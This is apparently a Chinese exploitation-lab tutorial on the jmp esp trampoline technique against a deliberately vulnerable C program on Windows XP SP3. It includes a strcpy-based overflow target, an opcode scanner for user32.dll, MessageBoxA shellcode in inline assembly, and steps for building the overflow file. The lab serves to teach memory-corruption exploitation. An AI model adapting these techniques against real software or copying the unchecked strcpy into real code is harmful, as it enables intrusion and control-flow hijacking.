操作系統(tǒng):Windows XP SP3
開發(fā)環(huán)境:VC++ 6.0
調(diào)試器:Ollydbg
棧溢出程序
#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[44];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);
return authenticated;
}
main()
{
int valid_flag=0;
char password[1024];
FILE * fp;
LoadLibrary("user32.dll");
if(!(fp=fopen("password.txt","rw+")))
{
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!n");
}
else
{
printf("Congratulation! You have passed the verification!n");
}
fclose(fp);
}
查找OPCODE代碼
#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll"
main()
{
BYTE* ptr;
int position,address;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle=LoadLibrary(DLL_NAME);
if(!handle)
{
printf(" load dll erro !");
exit(0);
}
ptr = (BYTE*)handle;
for(position = 0; !done_flag; position++)
{
try
{
if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
{
//0xFFE4 is the opcode of jmp esp
int address = (int)ptr + position;
printf("OPCODE found at 0x%xn",address);
}
}
catch(...)
{
int address = (int)ptr + position;
printf("END OF 0x%xn", address);
done_flag = true;
}
}
}
Shellcode提取代碼
#include <windows.h>
int main()
{
HINSTANCE LibHandle;
char dllbuf[11] = "user32.dll";
LibHandle = LoadLibrary(dllbuf);
_asm{
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
sub sp,0x440
xor ebx,ebx
push ebx // cut string
push 0x00000072
push 0x69766B72
mov eax,esp //load address of rkvir
push ebx
push eax
push eax
push ebx
mov eax, 0x77D507EA//(0x77D507EA) address should be reset in different OS
call eax //call MessageboxA
push ebx
mov eax,0x7C81CAFA //(0x7C81CAFA) address should be reset in different OS
call eax //call exit(0)
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
}
}
本次實戰(zhàn)著重描述跳板技術(shù)的使用,之所以要引入跳板技術(shù),是因為在實際的漏洞中,缺陷函數(shù)有可能是動態(tài)加載的DLL,所以緩沖區(qū)起始位置并不能固定,這意味著我們前幾節(jié)所使用的手工查找緩沖區(qū)位置的方法并不適用于大部分情況,因此我們需要一種新的技術(shù),可以有效控制指令可以執(zhí)行到我們需要的位置上。接下來會詳細描述跳板技術(shù)的應(yīng)用,使用的溢出代碼與前一節(jié)相同。
1. 一般情況下,在函數(shù)返回后,ESP都指向返回地址的下一行
2. 這就意味著,如果我們把shellcode放在返回地址后面,然后再使返回地址指向返回地址后面一行,就可以成功執(zhí)行我們的shellcode了,既然ESP指向這一行,那么我們只需要尋找一個jmp esp指令的地址放到返回地址的位置上就可以了。這個jmp esp指令最好位于這個溢出程序必然會加載的模塊中,例如我們現(xiàn)在使用的這個溢出程序加載了user32.dll,那么我們就可以在user32.dll中尋找一個jmp esp。尋找jmp esp有很多種方法,例如使用ollydbg的腳本或者windbg的腳本等等。這里我們使用一段代碼來搜索user32的編碼。就是實驗代碼中提供的查找opcode代碼。修改圖中紅框的內(nèi)容為自己想要搜索的模塊就可以搜索其他模塊。
3. 我們隨便選擇一個地址,然后還需要通過上一節(jié)查找API入口地址的方法查找MessageBoxA和ExitProcess的地址。(此方法查找的API入口地址不具備通用性,動態(tài)查找函數(shù)地址的方法會在后續(xù)詳細描述。)
4. 獲取到我們需要的所有地址后我們就可以開始構(gòu)造shellcode了。我們現(xiàn)在暫時還不考慮如何使用高級語言或者匯編語言實現(xiàn)shellcode的編碼,直接使用實驗代碼,將地址替換成本地地址后編譯成可執(zhí)行程序,如果可以成功彈框,并且點擊確定后成功推出程序,就說明本地地址提取的沒有問題。
5. 接下來使用Ollydbg打開程序,找到這段代碼,提取出機器碼。
6. 接下來構(gòu)造password.txt,已知緩沖區(qū)長度是44,那么返回地址前面就需要有長度為52的字符串。這個字符串可以隨便填充,然后填充jmp esp的地址,注意小端序。最后把剛剛提取的shellcode粘貼進去。
7. 接下來執(zhí)行溢出程序,成功彈出,點擊確定后執(zhí)行退出函數(shù)成功。